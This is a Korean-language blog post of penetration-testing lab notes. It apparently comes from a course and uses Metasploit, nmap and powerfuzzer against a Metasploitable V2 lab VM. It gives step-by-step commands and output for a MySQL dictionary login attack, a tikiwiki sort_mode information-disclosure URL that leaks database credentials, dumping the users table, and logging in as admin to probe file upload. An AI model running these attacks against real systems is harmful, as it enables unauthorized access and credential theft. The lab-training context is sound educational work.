본문 바로가기

Learning/└◆Metasploit

metasploit 05. 메타스플로잇을 이용한 서비스 취약점 점검

메타스플로잇을 사용하여 서비스 취약점 점검

메타스플로잇 취약점 스캔


[EX01]

사전파일을 이용 MySQL 원격 로그인 시도

공격대상 서버(192.168.10.134) 서비스 목록 확인

#nmap -sV 192.168.10.134    metasploitable V2 Server IP


#msfconsole

msf > search mysql_login


msf > use auxiliary/scanner/mysql/mysql_login       mysql에 접속할 수 있는 지정한 계정/패스워드로 로그인, root 암호는 blank 디폴트

root 계정을 알면 mysql의 모든 권한을 얻을수 있다.

msf auxiliary(mysql_login) > show options

msf auxiliary(mysql_login) > set RHOSTS 192.168.10.134

msf auxiliary(mysql_login) > run

[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed


ID/PASSWORD 설정이 되어 있지 않아 100% complete 이지만 시도 되지 않았다. 


[TERM2] 다른 윈도우에서 user.txt, pass.txt 파일을 생성

# cd /usr/share/metasploit-framework/data/wordlists 사전파일 경로

# vi user.txt

root

admin

administrator

# echo "" > pass.txt

#

-> Metaspolitable V2에서는 root 사용자의 암호가 없다.


id/password 설정

msf auxiliary(mysql_login) > set USER_FILE

[-] Unknown variable

Usage: set [option] [value]


Set the given option to value.  If value is omitted, print the current value.

If both are omitted, print options that are currently set.


If run from a module context, this will set the value in the module's

datastore.  Use -g to operate on the global datastore


msf auxiliary(mysql_login) > set USER_FILE

/usr/share/metasploit-framework/data/wordlists/user.txt

msf auxiliary(mysql_login) > set PASS_FILE

/usr/share/metasploit-framework/data/wordlists/pass.txt


msf auxiliary(mysql_login) > run

[*] 192.168.10.134:3306 MYSQL - Found remote MySQL version 5.0.51a

[+] 192.168.10.134:3306 MYSQL - Success: 'root:'

[-] 192.168.10.134:3306 MYSQL - LOGIN FAILED: admin: (Incorrect: Access denied for user 'admin'@'192.168.10.50' (using password: NO))

[-] 192.168.10.134:3306 MYSQL - LOGIN FAILED: administrator: (Incorrect: Access denied for user 'administrator'@'192.168.10.50' (using password: NO))

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(mysql_login) > quit


-> DB 테스트 과정을 wireshark를 통해 분석해 본다.

[-]실패 원인 분석 wireshark 분석작업

# wireshark &

************************************************************************************************

와이어샤크 TCP Stream 사용시 튕김 현상

root@kali:~# dpkg -l | grep -i wireshark

root@kali:~# apt-get install wireshark-common wireshark-qt


와이어샤크 전체 업데이트(의존성 문제)

root@kali:~# apt-get install libwireshark-data \

> libwireshark8 \

> libwireshark6 \

> libwscodecs1 \

> libwsutil7

************************************************************************************************


[참고] DB login 프로그램

(MSSQL)          auxiliary/scanner/mssql/mssql_login

(MYSQL)          auxiliary/scanner/mysql/mysql_login

(Oracle)           auxiliary/scanner/oracle/oracle_login

(PostgreSQL)     auxiliary/scanner/postgres/postgres_sql

************************************************************************************************



[EX02]

tikiwiki 프로그램의 취약점 점검

공격대상 서버(192.168.10.134)에 열려 있는 포트 목록 확인

# nmap -sV -p 1-65535 192.168.10.134

# nmap -sV -p 1-65535 192.168.10.134


Starting Nmap 7.01 ( https://nmap.org ) at 2017-01-04 20:26 KST

Nmap scan report for 192.168.10.134

Host is up (0.00010s latency).

Not shown: 65505 closed ports

PORT      STATE SERVICE     VERSION

21/tcp    open  ftp         vsftpd 2.3.4

22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp    open  telnet      Linux telnetd

25/tcp    open  smtp        Postfix smtpd

53/tcp    open  domain      ISC BIND 9.4.2

80/tcp    open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp   open  rpcbind     2 (RPC #100000)

139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

512/tcp   open  exec        netkit-rsh rexecd

513/tcp   open  login

514/tcp   open  tcpwrapped

1099/tcp  open  rmiregistry GNU Classpath grmiregistry

1524/tcp  open  shell       Metasploitable root shell

2049/tcp  open  nfs         2-4 (RPC #100003)

2121/tcp  open  ftp         ProFTPD 1.3.1

3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5

3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))

5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp  open  vnc         VNC (protocol 3.3)

6000/tcp  open  X11         (access denied)

6667/tcp  open  irc         Unreal ircd

6697/tcp  open  irc         Unreal ircd

8009/tcp  open  ajp13?

8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1

8787/tcp  open  drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)

43870/tcp open  status      1 (RPC #100024)

53342/tcp open  unknown

57095/tcp open  nlockmgr    1-4 (RPC #100021)

59989/tcp open  mountd      1-3 (RPC #100005)

MAC Address: 00:0C:29:6A:A5:85 (VMware)

Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 152.28 seconds


powerfuzzer를 사용하여 테스트

powerfuzzer 웹/애플리케이션상의 숨겨진 파일이나 디렉토리들을 

부르트로스 방식으로 검출해 공격 팩터(Facter)를 찾는 멀티스레드 자바 애플리케이션.


# farefox http://192.168.10.134/tikiwiki/tiki-index.php &


*설정작업이 안되서 정상적으로 출력이 안될 경우

Go here to begin the installations process 선택


다음페이지

Database Type : MySQL

host                : localhost

User                : root

Passwd            : 

Database name : tikiwiki195


다음 페이지에서 Create

웹 브라우저 종료

[참고] 만약 Metaspolitable V2 서버에서 database 이름을 확인하기 위해서는

(Metasploitable V2 Server)

$ mysql -u root -p /* -u : username, -p : password */

Enter password: <ENTER>

mysql> show databases;

mysql> quit

$ 


정상적인 화면


KaliLinux에서 powerfuzzer 실행

웹 사이트에 대한 정보를 검색 하기 위해 사용

웹 사이트 안에 파일과 디렉토리를 볼 수 있다.(80포트가 열려있다.)

보통 웹 사이트를 구성할 때 많은 기능이 구현 되어 있는 오픈소스를 사용 한다. 

공개 된 코드이기 때문에 취약성을 점검하는 공격자가 있다. (보안상 양날의 검)

 

            powerfuzzer 실행하는 방법

            KaliLinux > Web Applications > Web Application Fuzzy > powerfuzzer

            or

            KaliLinux > Vulnerability Analysis > Fuzzing Tools > powerfuzzer

            or

            # powerfuzzer &


오래된 powerfuzzer 대체 툴 dirbuster 

# dirbuster

**********************************************************************************************


powerfuzzer 실행

#powerfuzzer &


Target URL 입력 후 Scan


-> 출력 결과를 분석하면 목록이 많이 나온다.

-> 이중에서 URL 하나를 선택하여 웹에서 접근

# firefox http://192.168.10.134/tikiwiki/tiki-index.php

-> Home Page 출력

대상이 tikiwiki를 사용하고 있는지 powerfuzzer 툴을 통해 알 수 있다.


최신 취약점을 확인하기 위해 http://www.exploit-db.com 에서 검색

search -> Descriptions -> tikiwiki 입력

많은 버그가 있는 걸 확인


2006-11-01 

Sirius (sort_mode) Information Disclosure Vulnerability 선택



# firefox &

http://192.168.10.134/tikiwiki/tiki-listpages.php?offset=0&sort_mode=

ctrl + f -> root 검색

root의 id/password 를 확인 했다.


접속 해보기

MySQL에 접근하여 정보를 확인

# ssh msfadmin@192.168.10.134

passwd : msfadmin

$ mysql -u root -p    ( -u username -p password )

Enter password : <ENTER>


mysql > show databases;

mysql > user tikiwiki195

mysql > show tables;

mysql > select * from users_users;

mysql > select login,password from users_users;

mysql > quit

$ exit

#


# firefox http://192.168.10.134/tikiwiki/tiki-index.php &

login 부분 user : admin pass : admin 입력

upload a backup 부분 '파일 선택', 'upload'를 통해 파일업로드 취약점을 테스트 할 수 있다.


로그인 성공


파일 업로드 취약점



 (정리) tikiwiki 프로그램의 취약점 점검

nmap 툴을 통해 포트 스캔 작업 -> 80 포트

웹 접속 -> 사이트의 소개/목적

powerpuzzer 툴을 사용하여 파일/디렉토리 목록화 -> tikiwiki 프로그램 설치 확인

tikiwiki 프로그램의 취약점 점검(www.exploit-db.com) -> 취약점 점검 내용 확인

취약점 테스트